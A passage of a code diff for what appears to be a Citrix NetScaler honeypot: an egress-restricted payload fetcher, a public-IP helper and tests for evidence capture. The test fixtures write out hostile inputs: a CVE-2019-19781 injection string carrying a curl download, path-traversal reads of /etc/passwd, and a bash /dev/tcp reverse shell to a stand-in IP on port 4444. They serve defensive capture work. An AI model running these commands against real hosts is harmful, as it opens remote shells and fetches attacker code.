socket.inet_aton(ip) for ip in addresses) + return header + packet[12:] + answers + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--role', choices=('broker', 'relay'), required=True) + parser.add_argument('--listen', default='127.0.0.1') + parser.add_argument('--port', type=int) + parser.add_argument('--broker', default='10.0.2.100') + parser.add_argument('--broker-port', type=int, default=19090) + parser.add_argument('--dns-port', type=int, default=53) + parser.add_argument('--evidence', default='/var/lib/decoy/network') + parser.add_argument('--quota-mib', type=int, default=8192) + parser.add_argument('--peers', default='/var/lib/decoy/allowed-peers.json') + args = parser.parse_args() + if args.role == 'broker': + evidence = Evidence(args.evidence, quota=args.quota_mib * 1024 ** 2) + server = Server((args.listen, args.port or 19090), Broker, evidence=evidence, peers=args.peers) + else: + broker = (args.broker, args.broker_port) + # Bind DNS before serving TCP so a bind failure prevents partial startup. + dns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + dns.bind(('127.0.0.1', args.dns_port)) + def serve_dns(): + while True: + packet, peer = dns.recvfrom(513) + response = dns_reply(packet, broker) + if response: + dns.sendto(response, peer) + threading.Thread(target=serve_dns, daemon=True).start() + server = Server((args.listen, args.port or 15001), Relay, broker=broker) + with server: + server.serve_forever() + + +if __name__ == '__main__': + main() diff --git a/payload_fetch.py b/payload_fetch.py new file mode 100644 index 0000000..434696f --- /dev/null +++ b/payload_fetch.py @@ -0,0 +1,113 @@ +"""Strict outbound payload fetcher. HTTP(S) GET only; never executes, pipes or writes files. + +Egress policy: only http/https on ports 80/443; the host must resolve exclusively to global +unicast addresses (private/loopback/link-local/metadata rejected); the validated IP is pinned +for the actual connect so DNS rebinding cannot redirect it; redirects are re-validated and +depth-limited; size and time are bounded. Downloaded bytes go only to inert evidence storage. +""" +import http.client +import ipaddress +import re +import socket +import ssl +import threading +import urllib.parse + +URL_RE = re.compile(r'https?://[^\s\'"`;|&$()<>\\]+', re.I) +MAX_BYTES = 16 * 1024 * 1024 +TIMEOUT = 10 +ALLOWED_PORTS = (80, 443) + + +def extract_urls(text): + return URL_RE.findall(text or '') + + +def public_addresses(host): + infos = socket.getaddrinfo(host, None, proto=socket.IPPROTO_TCP) + addresses = [] + for info in infos: + address = info[4][0] + ip = ipaddress.ip_address(address) + if not ip.is_global or ip.is_multicast: + raise ValueError('host resolves to a non-public address') + if address not in addresses: + addresses.append(address) + if not addresses: + raise ValueError('host did not resolve') + return addresses + + +class _PinnedHTTP(http.client.HTTPConnection): + def __init__(self, host, ip, port): + super().__init__(host, port, timeout=TIMEOUT) + self._ip = ip + + def connect(self): + self.sock = socket.create_connection((self._ip, self.port), self.timeout) + + +class _PinnedHTTPS(http.client.HTTPSConnection): + def __init__(self, host, ip, port): + super().__init__(host, port, timeout=TIMEOUT, context=ssl.create_default_context()) + self._ip = ip + + def connect(self): + raw = socket.create_connection((self._ip, self.port), self.timeout) + self.sock = self._context.wrap_socket(raw, server_hostname=self.host) + + +class Fetcher: + def __init__(self, emit, resolver=public_addresses, max_bytes=MAX_BYTES, + ports=ALLOWED_PORTS, redirects=3, slots=4, on_failure=None): + self.emit, self.resolver, self.on_failure = emit, resolver, on_failure + self.max_bytes, self.ports, self.redirects = max_bytes, ports, redirects + self.slots = threading.BoundedSemaphore(slots) + + def submit(self, text, context): + for url in list(dict.fromkeys(extract_urls(text)))[:4]: + if not self.slots.acquire(False): + self._safe_emit('payload_fetch_rejected', url=url, reason='concurrency', **context) + continue + threading.Thread(target=self._run, args=(url, context), daemon=True).start() + + def _safe_emit(self, event, **data): + try: + self.emit(event, **data) + except OSError as error: + if self.on_failure: + self.on_failure(error) + + def _run(self, url, context): + try: + self._fetch(url, context) + except Exception as error: + self._safe_emit('payload_fetch_error', url=url, error=type(error).__name__, **context) + finally: + self.slots.release() + + def _fetch(self, url, context, depth=0): + parts = urllib.parse.urlsplit(url) + if parts.scheme not in ('http', 'https') or not parts.hostname: + raise ValueError('blocked scheme or host') + port = parts.port or (443 if parts.scheme == 'https' else 80) + if port not in self.ports: + raise ValueError('blocked port') + addresses = self.resolver(parts.hostname) + connection = (_PinnedHTTPS if parts.scheme == 'https' else _PinnedHTTP)( + parts.hostname, addresses[0], port) + path = urllib.parse.urlunsplit(('', '', parts.path or '/', parts.query, '')) + try: + connection.request('GET', path, headers={'Host': parts.hostname, + 'User-Agent': 'CitrixGateway', 'Accept': '*/*', 'Connection': 'close'}) + response = connection.getresponse() + data = response.read(self.max_bytes + 1) + status, location = response.status, response.getheader('Location') + content_type = (response.getheader('Content-Type') or '')[:200] + finally: + connection.close() + self._safe_emit('payload_download', url=url, status=status, content_type=content_type, + truncated=len(data) > self.max_bytes, content=data[:self.max_bytes], **context) + # ponytail: only 3 redirect hops; raise the cap if a real payload chain needs more. + if location and status in (301, 302, 303, 307, 308) and depth < self.redirects: + self._fetch(urllib.parse.urljoin(url, location), context, depth + 1) diff --git a/public_ip.py b/public_ip.py new file mode 100644 index 0000000..5b7f4a6 --- /dev/null +++ b/public_ip.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python3 +"""Resolve this host's public IP so the viewer can hide operator traffic. + +Loopback/private addresses are ignored. Use `--loop --interval 1800` to run it as a +30-minute refresher; the viewer imports discover() directly and refreshes itself. +""" +import argparse +import ipaddress +import time +import urllib.request + +ENDPOINTS = ('https://api.ipify.org', 'https://ifconfig.me/ip', + 'https://icanhazip.com', 'https://1.1.1.1/cdn-cgi/trace') + + +def discover(timeout=6): + for url in ENDPOINTS: + try: + with urllib.request.urlopen(url, timeout=timeout) as response: + text = response.read(256).decode('utf-8', 'replace') + except (OSError, ValueError): + continue + for token in text.replace('ip=', ' ').split(): + try: + ip = ipaddress.ip_address(token.strip()) + except ValueError: + continue + if ip.is_global: + return str(ip) + return None + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--loop', action='store_true', help='keep refreshing') + parser.add_argument('--interval', type=int, default=1800) + args = parser.parse_args() + while True: + print(discover() or '', flush=True) + if not args.loop: + break + time.sleep(args.interval) diff --git a/test_auth_logging.py b/test_auth_logging.py new file mode 100644 index 0000000..e71142a --- /dev/null +++ b/test_auth_logging.py @@ -0,0 +1,38 @@ +"""Private auth detection must not change attacker-visible responses.""" +import http.client +import threading +from honeypot import Engine, Server + +rows = [] +engine = Engine(lambda event, **data: rows.append(dict(event=event, **data))) +server = Server(('127.0.0.1', 0), engine, serve_guest_files=False) +thread = threading.Thread(target=server.serve_forever, daemon=True) +thread.start() +responses = [] +try: + for _ in range(12): + conn = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3) + conn.request('POST', '/nf/auth/doAuthentication.do', 'login=fixture&passwd=synthetic', + {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': '203.0.113.9'}) + response = conn.getresponse() + responses.append((response.status, response.read())) + assert not any('brute' in k.lower() or 'rate' in k.lower() for k, _ in response.getheaders()) + conn.close() + assert len(set(responses)) == 1 + attempts = [r for r in rows if r['event'] == 'auth_attempt'] + assert [r['attempts_in_window'] for r in attempts] == list(range(1,13)) + assert all(r['peer'] == '127.0.0.1' and r['request_id'] for r in attempts) + alerts = [r for r in rows if r['event'] == 'brute_force_suspected'] + assert len(alerts) == 1 and alerts[0]['attempts_in_window'] == 10 + state = engine.session('127.0.0.1') + state.auth_started -= 301 + engine.auth_attempt(state, {'peer': '127.0.0.1'}, '/nf/auth/doAuthentication.do') + assert rows[-1]['attempts_in_window'] == 1 + other = engine.session('192.0.2.1') + engine.auth_attempt(other, {'peer': '192.0.2.1'}, '/nf/auth/doAuthentication.do') + assert rows[-1]['attempts_in_window'] == 1 +finally: + server.shutdown() + server.server_close() + thread.join(3) +print('PASS: private per-IP auth detection, spoof rejection, fixed-window reset, unchanged responses') diff --git a/test_capture.py b/test_capture.py new file mode 100644 index 0000000..e3cd0ef --- /dev/null +++ b/test_capture.py @@ -0,0 +1,75 @@ +"""Run: python3 test_capture.py. Proves every exploit attempt, command and payload is persisted.""" +import hashlib +import http.client +import json +import pathlib +import tempfile +import threading + +from honeypot import Engine, Server, extract +from evidence import Evidence + + +def main(): + workspace = tempfile.TemporaryDirectory() + evidence = Evidence(workspace.name) + rows = [] + + def sink(event, **data): + rows.append(dict(event=event, **data)) + evidence.emit(event, **data) + + engine = Engine(sink, delay=0, save=evidence.save) + server = Server(('127.0.0.1', 0), engine) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + + def request(method, path, body=None, headers=None): + connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3) + connection.request(method, path, body=body, headers=headers or {}) + response = connection.getresponse() + result = response.status, response.read() + connection.close() + return result + + try: + request('GET', '/vpn/../vpns/cfg/smb.conf') + assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows) + request('GET', '/../../etc/passwd') + assert any(e['event'] == 'exploit_attempt' and 'path-traversal' in e['signatures'] for e in rows) + request('GET', '/flash/nsconfig/ns.conf') + assert any(e['event'] == 'exploit_attempt' and 'config-read' in e['signatures'] for e in rows) + + payload = b'\x00\x01MZ-inert-capture-test\xff\xfe' * 100 + request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'}) + digest = hashlib.sha256(payload).hexdigest() + assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload + upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload') + assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'} + + assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \ + == 'curl http://198.51.100.9/a.sh -o /tmp/a' + value = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/cap.txt`;# X' + request('GET', '/', headers={'User-Agent': value}) + candidate = next(e for e in reversed(rows) if e['event'] == 'injection_candidate') + assert candidate['command'] == 'id>/netscaler/ns_gui/cap.txt' + engine.tick() + run = next(e for e in rows if e['event'] == 'simulated_command' and e.get('output', '').startswith('uid=')) + assert run['argv'] == ['id', '>', '/netscaler/ns_gui/cap.txt'] and run['cwd'] + assert any(e['event'] == 'virtual_file_write' for e in rows) + + journal = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()] + kinds = {e['event'] for e in journal} + assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate', + 'simulated_command', 'virtual_file_write'} <= kinds + finally: + server.shutdown() + server.server_close() + thread.join(3) + evidence.close() + workspace.cleanup() + print('PASS: exploit attempts, exact payload bytes and simulated commands are all persisted') + + +if __name__ == '__main__': + main() diff --git a/test_client_ip.py b/test_client_ip.py new file mode 100644 index 0000000..bae2eb8 --- /dev/null +++ b/test_client_ip.py @@ -0,0 +1,40 @@ +"""Run: python3 test_client_ip.py. Real client IP is trusted only from configured proxy hops.""" +import http.client +import threading + +from honeypot import Engine, Server +from trusted_proxy import forwarded_client + +assert forwarded_client({'CF-Connecting-IP': '8.8.8.8'}) == ('8.8.8.8', 'CF-Connecting-IP') +assert forwarded_client({'CF-Connecting-IP': '10.0.0.1', 'X-Forwarded-For': '1.1.1.1'}) == ('1.1.1.1', 'X-Forwarded-For') +assert forwarded_client({'X-Forwarded-For': '10.0.0.1, 9.9.9.9, 10.0.0.2'}) == ('9.9.9.9', 'X-Forwarded-For') +assert forwarded_client({'CF-Connecting-IP': 'not-an-ip'}) == (None, None) +assert forwarded_client({}) == (None, None) + + +def run(trusted): + rows = [] + engine = Engine(lambda event, **data: rows.append(dict(event=event, **data)), delay=0) + server = Server(('127.0.0.1', 0), engine, trusted_forwarded=trusted) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + try: + connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3) + connection.request('GET', '/', headers={'CF-Connecting-IP': '8.8.8.8', + 'X-Forwarded-For': '10.0.0.1, 1.1.1.1'}) + assert connection.getresponse().status == 200 + connection.close() + finally: + server.shutdown() + server.server_close() + thread.join(3) + return next(row for row in rows if row['event'] == 'request') + + +# Untrusted hop: the spoofable header is ignored and the socket peer is authoritative. +assert run(()).get('peer') == '127.0.0.1' +# Trusted hop (loopback stands in for the edge proxy): the real client IP wins, proxy is retained. +request = run(('127.0.0.0/8',)) +assert request['peer'] == '8.8.8.8' and request['client_ip_source'] == 'CF-Connecting-IP' +assert request['proxy_peer'] == '127.0.0.1' +print('PASS: forwarded client IP trusted only from configured proxies; spoofing rejected') diff --git a/test_honeypot.py b/test_honeypot.py new file mode 100644 index 0000000..915ee9b --- /dev/null +++ b/test_honeypot.py @@ -0,0 +1,184 @@ +"""Run: python3 test_honeypot.py (loopback only, no third-party dependencies).""" +import http.client +import hashlib +import json +import pathlib +import socket +import stat +import tempfile +import threading +import urllib.parse + +from honeypot import Engine, Server, MAX_BODY, MAX_PENDING, extract, simulate +from evidence import Evidence + + +def main(): + events = [] + workspace = tempfile.TemporaryDirectory() + evidence = Evidence(workspace.name) + def emit(event, **data): + events.append(dict(event=event, **data)) + evidence.emit(event, **data) + engine = Engine(emit, delay=0, save=evidence.save) + server = Server(('127.0.0.1', 0), engine) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + def request(method, path, body=None, headers=None): + connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3) + connection.request(method, path, body=body, headers=headers or {}) + response = connection.getresponse() + result = response.status, response.read() + connection.close() + return result + try: + assert request('GET', '/')[0] == 200 + # Benign local marker through documented login field; no real commands execute. + value = 'pitboss PPE unexpectedly died NSPPE;`id>/netscaler/ns_gui/probe.txt`;# X' + body = urllib.parse.urlencode({'login': value, 'passwd': 'synthetic'}) + assert request('POST', '/nf/auth/doAuthentication.do', body, + {'Content-Type': 'application/x-www-form-urlencoded'})[0] == 200 + assert request('GET', '/probe.txt')[0] == 404 # deferred until log pickup + engine.tick() + status, content = request('GET', '/probe.txt') + assert status == 200 and b'uid=0(root)' in content + assert any(e['event'] == 'virtual_file_write' for e in events) + # Public write-up names User-Agent as a log source; use its shape with a local harmless marker. + ua = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/ua-probe.txt`;# X' + assert request('GET', '/', headers={'User-Agent': ua})[0] == 200 + candidate = next(e for e in reversed(events) if e['event'] == 'injection_candidate') + assert candidate['source'] == 'header:User-Agent' and candidate['value'] == ua + assert candidate['peer'] == '127.0.0.1' and candidate['peer_port'] > 0 + assert request('GET', '/ua-probe.txt')[0] == 404 + engine.tick() + status, content = request('GET', '/ua-probe.txt') + assert status == 200 and b'uid=0(root)' in content + write = next(e for e in events if e['event'] == 'virtual_file_write' and e['path'].endswith('/ua-probe.txt')) + assert write['request_id'] == candidate['request_id'] and write['session'] == candidate['session'] + assert write['peer'] == candidate['peer'] and write['peer_port'] == candidate['peer_port'] + assert request('GET', '/../../etc/passwd')[0] == 404 + assert request('POST', '/', headers={'Content-Length': str(MAX_BODY + 1)})[0] == 413 + assert request('POST', '/', b'0\r\n\r\n', {'Transfer-Encoding': 'chunked', 'Content-Length': '5'})[0] == 400 + assert extract('ordinary login') is None + assert extract('pitboss: NSPPE-00 (12345) unexpectedly died') is None + state = engine.session('127.0.0.1') + with tempfile.TemporaryDirectory() as directory: + marker = pathlib.Path(directory) / 'must-not-exist' + simulate(state, f'echo harmless > {marker}', engine.emit) + assert not marker.exists() and state.files[str(marker)] == 'harmless\n' + simulate(state, 'curl https://example.invalid/payload', engine.emit) + assert events[-2]['event'] == 'outbound_attempt' + other = engine.session('192.0.2.1') + assert '/netscaler/ns_gui/probe.txt' not in other.files + engine.ingest(state, [('header:User-Agent', value)] * (MAX_PENDING + 5)) + assert len(state.pending) == MAX_PENDING + assert any(e['event'] == 'limit' for e in events) + payload = b'\x00\xffMZ-inert-test-fixture\r\n\x00' + assert request('PUT', '/sample.bin', payload, {'Content-Type': 'application/octet-stream'})[0] == 404 + digest = hashlib.sha256(payload).hexdigest() + artifact = pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin') + assert artifact.read_bytes() == payload + assert stat.S_IMODE(artifact.stat().st_mode) == 0o600 + multipart = (b'--testboundary\r\nContent-Disposition: form-data; name="file"; filename="../../escape.bin"\r\n' + b'Content-Type: application/octet-stream\r\n\r\n' + payload + b'\r\n--testboundary--\r\n') + assert request('POST', '/upload', multipart, {'Content-Type': 'multipart/form-data; boundary=testboundary'})[0] == 404 + upload = next(e for e in events if e['event'] == 'upload') + assert upload['filename'] == '../../escape.bin' and upload['evidence']['sha256'] == digest + assert upload['peer'] == '127.0.0.1' and upload['peer_port'] > 0 + assert not (pathlib.Path(workspace.name) / 'escape.bin').exists() + def raw_request(raw): + with socket.create_connection(('127.0.0.1', server.server_port), timeout=3) as connection: + connection.sendall(raw) + connection.shutdown(socket.SHUT_WR) + result = bytearray() + while chunk := connection.recv(65536): + result.extend(chunk) + return bytes(result) + raw = (b'POST /upload HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n' + b'Transfer-Encoding: chunked\r\n\r\n' + + hex(len(payload))[2:].encode() + b'\r\n' + payload + b'\r\n0\r\nX-Test: trailer\r\n\r\n') + assert b'404' in raw_request(raw).split(b'\r\n')[0] + wire_digest = hashlib.sha256(raw).hexdigest() + # Wait for finally-recorded evidence after the response has closed. + assert (pathlib.Path(workspace.name) / 'artifacts' / (wire_digest + '.bin')).read_bytes() == raw + assert b'200' in raw_request(b'CUSTOM / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n').split(b'\r\n')[0] + assert b'400' in raw_request(b'not-http\r\n') + partial = b'PUT / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 10\r\n\r\nabc' + assert b'400' in raw_request(partial) + partial_hash = hashlib.sha256(partial).hexdigest() + assert (pathlib.Path(workspace.name) / 'artifacts' / (partial_hash + '.bin')).exists() + writes = [e for e in events if e['event'] == 'virtual_file_write' and 'request_id' in e] + assert writes and writes[0]['peer'] == '127.0.0.1' + assert any(e['event'] == 'request' and e['request_id'] == writes[0]['request_id'] for e in events) + rows = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()] + assert all('timestamp' in row and 'time_ns' in row for row in rows) + tiny = Evidence(pathlib.Path(workspace.name) / 'quota-test', quota=3) + try: + tiny.save(b'abc') + try: + tiny.save(b'over quota') + raise AssertionError('quota not enforced') + except OSError: + pass + assert tiny.save(b'abc')['bytes'] == 3 # dedup still works at quota + finally: + tiny.close() + failing_store = Evidence(pathlib.Path(workspace.name) / 'stop-test', quota=1) + failing_server = Server(('127.0.0.1', 0), Engine(failing_store.emit, save=failing_store.save)) + failing_thread = threading.Thread(target=failing_server.serve_forever, daemon=True) + failing_thread.start() + try: + with socket.create_connection(('127.0.0.1', failing_server.server_port), timeout=3) as connection: + connection.sendall(b'GET / HTTP/1.0\r\n\r\n') + try: + connection.recv(1024) + except ConnectionResetError: + pass + failing_thread.join(timeout=3) + assert failing_server.capture_failed and not failing_thread.is_alive() + finally: + failing_server.shutdown() + failing_server.server_close() + failing_store.close() + # Hidden guest files still allow intake/execution and evidence capture, without a guest read. + server.serve_guest_files = False + assert request('GET', '/probe.txt') == (404, b'Not Found') # existing simulated file + class FakeBackend: + def __init__(self): + self.reads, self.uploads, self.executions = [], [], [] + def register_peer(self, peer): + assert peer == '127.0.0.1' + def read(self, path, context): + self.reads.append(path) + return b'existing-guest-file' + def upload(self, data, context): + self.uploads.append((data, context.copy())) + def execute(self, command, context): + self.executions.append((command, context.copy())) + fake = FakeBackend() + engine.backend = fake + engine.tick() # drain the earlier queue-limit fixture + assert request('GET', '/probe.txt') == (404, b'Not Found') + assert request('GET', '/')[0] == 200 and request('GET', '/favicon.ico')[0] == 200 + hidden_ua = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/hidden.txt`;# X' + assert request('GET', '/hidden.txt', headers={'User-Agent': hidden_ua}) == (404, b'Not Found') + candidate = next(e for e in reversed(events) if e['event'] == 'injection_candidate') + assert candidate['source'] == 'header:User-Agent' + engine.tick() + execution = next(item for item in fake.executions if item[0] == 'id>/netscaler/ns_gui/hidden.txt') + assert execution[1]['request_id'] == candidate['request_id'] + assert request('PUT', '/hidden.bin', payload, {'Content-Type': 'application/octet-stream'}) == (404, b'Not Found') + assert fake.uploads[-1][0] == payload and artifact.read_bytes() == payload + assert not fake.reads + engine.backend = None + print('PASS: simulated flow, binary/multipart/chunked evidence, source correlation, quotas, hidden guest files with intake preserved') + finally: + server.shutdown() + server.server_close() + thread.join(timeout=3) + evidence.close() + workspace.cleanup() + + +if __name__ == '__main__': + main() diff --git a/test_ingress_proxy.py b/test_ingress_proxy.py new file mode 100644 index 0000000..408b3ae --- /dev/null +++ b/test_ingress_proxy.py @@ -0,0 +1,50 @@ +"""Loopback-only PROXY metadata and binary stream regression.""" +import asyncio +from ingress_proxy import forward + + +async def test(): + received = [] + async def backend(reader, writer): + received.append(await reader.readline()) + payload = await reader.readexactly(5) + writer.write(payload[::-1]) + await writer.drain() + writer.close() + backend_server = await asyncio.start_server(backend, '127.0.0.1', 0) + async def ingress(reader, writer): + await forward(reader, writer, '127.0.0.1', backend_server.sockets[0].getsockname()[1]) + proxy = await asyncio.start_server(ingress, '127.0.0.1', 0) + reader, writer = await asyncio.open_connection('127.0.0.1', proxy.sockets[0].getsockname()[1]) + source_port = writer.get_extra_info('sockname')[1] + writer.write(b'\x00\xffabc') + await writer.drain() + writer.write_eof() + assert await reader.read() == b'cba\xff\x00' + assert received == [f'PROXY TCP4 127.0.0.1 127.0.0.1 {source_port} {proxy.sockets[0].getsockname()[1]}\r\n'.encode()] + writer.close() + proxy.close() + backend_server.close() + await proxy.wait_closed() + await backend_server.wait_closed() + + +asyncio.run(test()) +print('ingress proxy regression passed') + +import socket +from trusted_proxy import source +left, right = socket.socketpair() +try: + right.sendall(b'PROXY TCP4 192.0.2.10 192.0.2.20 12345 8443\r\nTLS') + peer, header = source(left, ('10.0.2.2', 123), '10.0.2.2') + assert peer == ('192.0.2.10', 12345) and left.recv(3) == b'TLS' + try: + source(left, ('192.0.2.99', 123), '10.0.2.2') + raise AssertionError('untrusted peer accepted') + except ValueError: + pass +finally: + left.close() + right.close() +print('trusted PROXY parser regression passed') diff --git a/test_network_capture.py b/test_network_capture.py new file mode 100644 index 0000000..21f8e13 --- /dev/null +++ b/test_network_capture.py @@ -0,0 +1,100 @@ +"""Offline tests: fixture sockets only; no external connections.""" +import json +import os +import pathlib +import socket +import struct +import tempfile +import threading +from unittest.mock import patch +from types import SimpleNamespace + +import network_capture as net +from evidence import Evidence + + +def run(): + for address in ['127.0.0.1', '10.0.0.1', '169.254.169.254', '192.168.1.1', '224.0.0.1', '0.0.0.0', '100.64.0.1', '192.0.2.1', '::1']: + try: + net.public_ip(address) + raise AssertionError(address) + except ValueError: + pass + assert net.public_ip('8.8.8.8') == '8.8.8.8' + with tempfile.TemporaryDirectory() as tmp: + net.STOP = pathlib.Path(tmp) / 'STOP' + peers = pathlib.Path(tmp) / 'peers.json' + peers.write_text(json.dumps(['10.0.0.1', '8.8.8.8', 'bad', '127.0.0.1', 134744072])) + peers.chmod(0o600) + actual_stat = os.stat(peers) + # Root ownership is mocked only for this unit check on unprivileged Macs. + with patch.object(net.os, 'fstat', return_value=SimpleNamespace( + st_mode=actual_stat.st_mode, st_uid=0, st_mtime=actual_stat.st_mtime)): + assert net.allowed_peers(peers) == {'8.8.8.8'} + evidence = Evidence(pathlib.Path(tmp) / 'evidence') + server = net.Server(('127.0.0.1', 0), net.Broker, evidence=evidence, peers=str(pathlib.Path(tmp) / 'absent')) + worker = threading.Thread(target=server.serve_forever, daemon=True) + worker.start() + original_connect = socket.create_connection + outgoing = [] + def fixture_connect(destination, timeout=None, **kwargs): + assert destination == ('8.8.8.8', 80), destination + outgoing.append(destination) + broker_end, fixture_end = socket.socketpair() + def echo(): + with fixture_end: + while True: + data = fixture_end.recv(16384) + if not data: + break + fixture_end.sendall(data) + threading.Thread(target=echo, daemon=True).start() + return broker_end + with patch.object(net.socket, 'create_connection', fixture_connect): + with original_connect(server.server_address, timeout=3) as client: + net.send_message(client, {'op': 'connect', 'ip': '127.0.0.1', 'port': 80}) + assert not net.read_message(client)['ok'] + with original_connect(server.server_address, timeout=3) as client: + net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 4444}) + assert not net.read_message(client)['ok'] + with original_connect(server.server_address, timeout=3) as client: + net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 80}) + assert net.read_message(client)['ok'] + payload = b'\x00malware-fixture\xff\r\n' + client.sendall(payload) + data = b'' + while len(data) < len(payload): + data += client.recv(1024) + assert data == payload + client.shutdown(socket.SHUT_WR) + assert client.recv(1) == b'' + assert len(outgoing) == 1 + server.shutdown() + server.server_close() + rows = [json.loads(line) for line in (evidence.directory / 'events.jsonl').read_text().splitlines()] + chunks = [r for r in rows if r['event'] == 'network_chunk'] + assert {r['direction'] for r in chunks} == {'guest_to_remote', 'remote_to_guest'} + for row in chunks: + assert (evidence.directory / row['artifact']).read_bytes() == payload + assert row['time_ns'] and row['connection_id'] + # DNS parser rejects malformed/compressed questions; AAAA returns no answer. + assert net.dns_reply(b'bad', ('unused', 0)) is None + question = struct.pack('!6H', 7, 0x100, 1, 0, 0, 0) + b'\x07example\x03com\0' + struct.pack('!HH', 28, 1) + reply = net.dns_reply(question, ('unused', 0)) + assert struct.unpack('!6H', reply[:12])[3] == 0 + # Capturing failure closes streams before further forward and persists STOP. + evidence.quota = evidence.used + failing = net.Server(('127.0.0.1', 0), net.Broker, evidence=evidence, peers='absent') + threading.Thread(target=failing.serve_forever, daemon=True).start() + with original_connect(failing.server_address, timeout=3) as client: + net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 80}) + assert client.recv(1) == b'' + assert net.STOP.exists() and failing.failed.is_set() + failing.shutdown() + failing.server_close() + evidence.close() + print('network capture offline checks passed') + + +if __name__ == '__main__': + run() diff --git a/test_network_live.py b/test_network_live.py new file mode 100644 index 0000000..77bffec --- /dev/null +++ b/test_network_live.py @@ -0,0 +1,148 @@ +"""Collector-only live regression; stop decoy-network first, restart it afterward. + +Both destinations are harmless in-process loopback fixtures. No external connections. +Exercises VM223 bash TCP reverse shell and HTTP download through the real guest relay. +""" +import hashlib +import json +import pathlib +import shlex +import socket +import subprocess +import tempfile +import threading +import time +from unittest.mock import patch + +import network_capture as net +from evidence import Evidence + +FIXTURE_IP = '198.51.100.10' + + +def run(): + if not pathlib.Path('/etc/decoy-collector').is_file(): + raise SystemExit('Run only in the dedicated collector VM222') + root = pathlib.Path(tempfile.mkdtemp(prefix='network-live-', dir='/var/lib/decoy')) + evidence = Evidence(root / 'evidence') + commands = b"printf 'DECOY_REVERSE_SHELL_OK\\n'; id; exit\n" + payload = b'\x00DECOY_HARMLESS_DOWNLOAD_FIXTURE\xff\r\n' + bytes(range(256)) + response = (b'HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\n' + b'Connection: close\r\nContent-Length: ' + str(len(payload)).encode() + b'\r\n\r\n' + payload) + captured = {} + failures = [] + listeners = {} + threads = [] + for port in (4444, 80): + listener = socket.socket() + listener.bind(('127.0.0.1', 0)) + listener.listen(1) + listener.settimeout(20) + listeners[port] = listener + + def serve(port): + try: + with listeners[port].accept()[0] as conn: + conn.settimeout(15) + data = bytearray() + if port == 4444: + conn.sendall(commands) + conn.shutdown(socket.SHUT_WR) + while True: + chunk = conn.recv(16384) + if not chunk: + break + data.extend(chunk) + else: + while b'\r\n\r\n' not in data: + chunk = conn.recv(16384) + if not chunk: + raise AssertionError('fixture request ended early') + data.extend(chunk) + if len(data) > 65536: + raise AssertionError('oversized fixture request') + conn.sendall(response) + captured[port] = bytes(data) + except BaseException as exc: + failures.append(exc) + + original_connect = socket.create_connection + original_public = net.public_ip + + def fixture_connect(destination, *args, **kwargs): + if destination[0] != FIXTURE_IP or destination[1] not in listeners: + raise AssertionError(f'unexpected destination: {destination!r}') + return original_connect(listeners[destination[1]].getsockname(), *args, **kwargs) + + def fixture_public(address): + return FIXTURE_IP if address == FIXTURE_IP else original_public(address) + + def ssh(command): + return subprocess.run(['ssh', '-o', 'BatchMode=yes', '-o', 'ConnectTimeout=5', + 'decoy-execution', command], capture_output=True, + timeout=30, check=True).stdout + + server = None + guest_file = '/var/tmp/decoy-network-live-' + root.name + try: + with patch.object(net, 'STOP', root / 'STOP'), \ + patch.object(net, 'public_ip', fixture_public), \ + patch.object(net, 'allowed_peers', return_value={FIXTURE_IP}), \ + patch.object(net.socket, 'create_connection', fixture_connect): + server = net.Server(('0.0.0.0', 19090), net.Broker, + evidence=evidence, peers=str(root / 'unused')) + threading.Thread(target=server.serve_forever, daemon=True).start() + for port in listeners: + thread = threading.Thread(target=serve, args=(port,), daemon=True) + thread.start() + threads.append(thread) + script = f'exec /bin/bash -i >& /dev/tcp/{FIXTURE_IP}/4444 0>&1' + ssh('/bin/bash -c ' + shlex.quote(script)) + digest = hashlib.sha256(payload).hexdigest() + got = ssh("curl --noproxy '*' --connect-timeout 5 --max-time 15 -fsS -o " + + shlex.quote(guest_file) + f' http://{FIXTURE_IP}/fixture.bin && sha256sum ' + + shlex.quote(guest_file)).decode().split()[0] + assert got == digest, (got, digest) + for thread in threads: + thread.join(5) + assert not thread.is_alive(), 'fixture did not finish' + assert not failures, failures + assert b'DECOY_REVERSE_SHELL_OK' in captured[4444] + assert b'uid=0(root)' in captured[4444] + assert captured[80].startswith(b'GET /fixture.bin HTTP/1.1\r\n') + deadline = time.monotonic() + 5 + while True: + rows = [json.loads(line) for line in + (evidence.directory / 'events.jsonl').read_text().splitlines()] + if sum(r['event'] 